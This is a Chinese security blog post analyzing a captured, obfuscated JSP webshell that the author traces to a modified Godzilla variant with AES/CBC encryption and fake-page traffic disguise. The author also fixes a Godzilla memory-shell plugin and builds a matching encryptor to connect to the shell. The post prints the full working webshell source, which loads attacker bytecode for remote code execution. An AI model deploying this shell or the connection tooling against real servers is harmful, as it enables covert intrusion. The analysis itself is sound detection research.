故事还要从这里开始说起
6月底分析了一次jsp的webshell,领导说是从前线hw中捕获到的,刚好那个时候在看冰蝎的代码,然后发现该shell好像使用的是魔改算法以及混淆逻辑,
魔改
肯定是走不掉了,但是那个时候就框框认为是冰蝎了…
但后来发现冰蝎的逻辑完全对不上好像,其实这条道就已经发觉走错了,但是那个时候没直接看哥斯拉,也就错过了~
七月底终于是把哥斯拉和冰蝎的源码都看完了,然后正尝试写一个内存马查杀工具,在抓哥斯拉的filter内存马的时候,突然发现了最新版的哥斯拉注入filter内存马的插件好像有问题(注入了但是连接不上,肯定是有猫腻的,强迫症的我得去修一下了!),其注入内存字节码经过反编译后发现其实现逻辑其实是有问题的,然后请教了众多大师傅,集团蓝军师傅首先是发现了问题代码所在处,但是我们互相讨论了一中午发现貌似改的还是不正确,仍然无法注入正确逻辑,蓝军师傅说印象里他好像在很老的哥斯拉里是能够注入并连接的,但是新版大家都不用这个插件了,也就没仔细研究这个问题了,最终没能成功解决…
第二天强迫症的我不信邪,既然是插件那肯定是可以用的,大概是版本适配有问题,便去问了一下作者本人,然后也是得到了回复,最终还是找到了bug所在,修复了哥斯拉这个插件注入问题…
借着这个机会便狠狠地分析了一波哥斯拉,然后看到了jsp webshell的实现模板后,突然想起了一个错误,遂修正
参考的模板文件位于:shells\cryptions\JavaAes\template\rawCode.bin
1 | try { |
而filter内存马注入插件的实现逻辑是:
依葫芦画瓢加上一个ByteArrayOutputStream:
下面给出完整的插件代码:
1 | package f; |
编译后把class文件替换原位置的模板文件shells/plugins/java/assets/F_AES_BASE64.classs
然后插件就能正常运行了
哥斯拉的作者北辰师傅也说了这是他在很老很老的哥斯拉中的写法,大概3以前…
他说其它地方都改了,就这个地方可能是忘记了吧哈哈哈哈哈
回顾之前的错误
连接不上冰蝎一个关键的逻辑就是冰蝎在第一次的注入字节码的类名其实是随机的,而后续客户端工作只会盯着这个随机的类名发送后续指令而魔改webshell中是写死的类名.
这点在前面也是分析出来了,当时就觉得这个点好像跟冰蝎不一样,于是乎我去修改了原webshell的逻辑
让它每次都直接重新加载传入的类字节码,而不是选择特定的类名去加载,然后就成功完成第一次字节码的注入,因此这样后面也是成功生搬硬套
地连上了冰蝎…
强扭的瓜终究还是不甜
连接逻辑的区别
首先来一波哥斯拉的连接逻辑:
详情可看: 哥斯拉魔改哥斯拉的逻辑就是第一次发一个大马的全部代码到被控端,然后存入session中去,在java中是用字节码形式存入的,要用的时候实例化然后触发equals方法;在php中是将完整的php代码传过去存入session,然后通过eval
函数执行,也就在代码中有了上下文联系,这样后续也就可以通过发送需要调用模块名来执行对应的逻辑并返回结果!
对应客户端实现如下:
可以看到每次发送的就是三个(className, funcName, parameter);
然后被控端根据这3个参数去执行对应的功能模块可以看看第一次测试连接干了啥:
其逻辑就是去调用被控端名叫test
的模块,并检验返回的结果解密后是否为ok
字符串,如果是则对应连接成功,否则失败.
哥斯拉还有几个特征就是:
(作者的奇怪命名)
比如常见的x
函数,一般是用来加密的
然后就是md5 密钥和另外一个什么东东
的前16位后16位的大写形式来作为脏数据的添加(这里应该也是众多流量设备标记的重点)
回到代码
1 | <%!String key = "79bec9b8470119f5";String initVector = "9220dc6228514959";public static class util{public static Object getoob(java.lang.reflect.Method m,Object o,Object... args) throws Exception {return m.invoke(o, args);}public static Object getob(java.lang.reflect.Method m,Object o,Object... args)throws Exception{return getoob(m, o,args);}public static Object reobj1(Object o){return o;}public static Object reobj(Object o){return reobj1(o);}}public static String reverse(String s) {return new StringBuilder(s).reverse().toString();}String md5 = md5(key + initVector);String style = "{\"Message\":\"##style##\"}}";public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret;}public byte[] x(byte[] s, boolean m) {try {javax.crypto.spec.IvParameterSpec iv = new javax.crypto.spec.IvParameterSpec(initVector.getBytes("UTF-8"));Class cipher = Class.forName(reverse("rehpiC.otpyrc.xavaj"));java.lang.reflect.Method cipher_getInstance = cipher.getMethod(reverse("ecnatsnIteg"), String.class);javax.crypto.Cipher c = (javax.crypto.Cipher)util.getob(cipher_getInstance, cipher,reverse("gniddaP5SCKP/CBC/SEA"));Class skeySpec1 = Class.forName(reverse("cepSyeKterceS.ceps.otpyrc.xavaj"));java.lang.reflect.Constructor skeySpec1_c = skeySpec1.getConstructor(byte[].class, String.class);javax.crypto.spec.SecretKeySpec skeySpec1_Obj = (javax.crypto.spec.SecretKeySpec) skeySpec1_c.newInstance(key.getBytes(), reverse("SEA"));c.init(m ? 1 : 2, skeySpec1_Obj, iv);return c.doFinal(s);} catch (Exception e) {return null;}}public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64 = Class.forName(reverse("46esaB.litu.avaj"));Object Encoder = base64.getMethod(reverse("redocnEteg"), null).invoke(base64, null);Class enen = Encoder.getClass();java.lang.reflect.Method method =enen.getMethod(reverse("gnirtSoTedocne"), new Class[]{byte[].class});value = (String) util.getob(method,Encoder, new Object[]{bs});} catch (Exception e) {try {base64 = Class.forName(reverse("redocnE46ESAB.csim.nus"));Object Encoder = base64.newInstance();Class enen = Encoder.getClass();java.lang.reflect.Method method = enen.getMethod(reverse("edocne"), new Class[]{byte[].class});value = (String) util.getob(method,Encoder, new Object[]{bs});} catch (Exception e2) {}}return value;}public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64 = Class.forName(reverse("46esaB.litu.avaj"));Object decoder = base64.getMethod(reverse("redoceDteg"), null).invoke(base64, null);Class dede = decoder.getClass();java.lang.reflect.Method method = dede.getMethod(reverse("edoced"), new Class[]{String.class});value = (byte[]) util.getob(method,decoder, new Object[]{bs});} catch (Exception e) {try {base64 = Class.forName(reverse("redoceD46ESAB.csim.nus"));Object decoder = base64.newInstance();Class dede = decoder.getClass();java.lang.reflect.Method method = dede.getMethod(reverse("reffuBedoced"), new Class[]{String.class});value = (byte[]) util.getob(method,decoder, new Object[]{bs});} catch (Exception e2) {}}return value;}%><%response.setContentType("text/html;charset=utf-8");if (request.getMethod().equals("POST")) {try {Class rc = request.getClass();java.lang.reflect.Method rdc = rc.getMethod(reverse("redaeRteg"));java.io.BufferedReader reader = (java.io.BufferedReader) rdc.invoke(request);String line = "";StringBuilder sb = new StringBuilder();while ((line = reader.readLine()) != null) {sb.append(line);}byte[] data = sb.toString().getBytes();String sdata = new String(data);if (sdata.indexOf(md5.substring(16)) > 0) {style = new String(x(base64Decode(java.net.URLDecoder.decode(sdata.split(md5.substring(16))[1])), false));session.setAttribute("style", style);}if (session.getAttribute("style") == null) {session.setAttribute("style", style);}if (sdata.indexOf(md5.substring(0, 16)) > 0) {sdata = sdata.split(md5.substring(0, 16))[1];data = x(base64Decode(java.net.URLDecoder.decode(sdata)), false);if (session.getAttribute("NAPRoutID") == null) {java.lang.reflect.Method ClassLoaderEx = Class.forName(reverse("redaoLssalC.gnal.avaj")).getDeclaredMethod(reverse("ssalCenifed"), byte[].class, int.class, int.class);ClassLoaderEx.setAccessible(true);java.lang.reflect.Method currentThreadMethod = Thread.class.getMethod(reverse("daerhTtnerruc"));Thread currentThread = (Thread) currentThreadMethod.invoke(null);java.lang.reflect.Method getContextClassLoaderMethod = Thread.class.getMethod(reverse("redaoLssalCtxetnoCteg"));ClassLoader contextClassLoader = (ClassLoader) util.getob(getContextClassLoaderMethod, currentThread);Class Class_i = (Class) util.getob(ClassLoaderEx, contextClassLoader, data, 0, data.length);session.setAttribute("NAPRoutID", Class_i);response.getWriter().write(session.getAttribute("style").toString().replace("##style##", ""));} else {request.setAttribute(reverse("sretemarap"), data);java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();Class payload_c = ((Class) session.getAttribute("NAPRoutID"));Object f = payload_c.newInstance();f.equals(arrOut);f.equals(util.reobj(pageContext));f.toString();response.getWriter().write(session.getAttribute("style").toString().replace("##style##", md5.substring(0, 16) + java.net.URLEncoder.encode(base64Encode(x(arrOut.toByteArray(), true)), "UTF-8") + md5.substring(16)));}} else {response.getWriter().write(session.getAttribute("style").toString().replace("##style##", ""));}} catch (Exception e) {response.getWriter().write(style.replace("##style##", "Unauthorized"));}} else {response.getWriter().write(style.replace("##style##", "Unauthorized"));}%> |
x
函数,写session
,md5前16位
作为脏数据等都出现了在上述魔改webshell中了
因此它就是一个真正的哥斯拉webshell!
但还是有几个新颖的点:
-
它采用了
AES/CBC/PKCS5Padding
而非哥斯拉java-webshell常用的AES/ECB/PKCS5Padding
-
添加了流量混淆逻辑,在没有正确启用webshell的情况下会伪造页面
以常见的JAVA_AES_BASE64
举例,可以看到就是默认的AES,也就是ECB模式
我们不妨去看看哥斯拉默认是在哪个地方用了CBC模式
(我发现在哥斯拉里依葫芦画瓢
这个思维很重要,或许这也是看一个大型项目代码时的常用思维吧)
可以看到在C#的webshell实现里作者给的是AES/CBC/PKCS5Padding
1 | { |
但是好巧不巧又是没有java和php版的AES/CBC/PKCS5Padding
,因此该攻击队选择了自己去实现
如果看过我上一篇php webshell的魔改文章也会发现其实php webshell中默认根本没有aes的实现,只采用了简单的异或和base;于是乎我上一篇文章也就手动实现了一下php的aes webshell…
真的一切都好巧啊
依葫芦画瓢
既然有了上面的C# webshell实现逻辑,然后我们又有原webshell的jsp的完整逻辑那么很容易写出以下加密器,以适配目标webshell!
1 | package shells.cryptions.JavaAes; |
然后放入我们自己魔改的哥斯拉客户端,重新编译运行即可,最后启动Tomcat!
开连!!!
完结撒花
这两个月对于java反序列化利用链的学习没有那么频繁了,而是更多地去关注了实战方向,尤其是对这两款优秀的webshell工具进行了深入学习!
只能说这次也是塞翁失马焉知非福了在这次错误
中还是学到了很多,强迫症最有用的一集~
后续估计就是增加自己的java开发水平了,把自己的查杀工具写好一点,完善一点~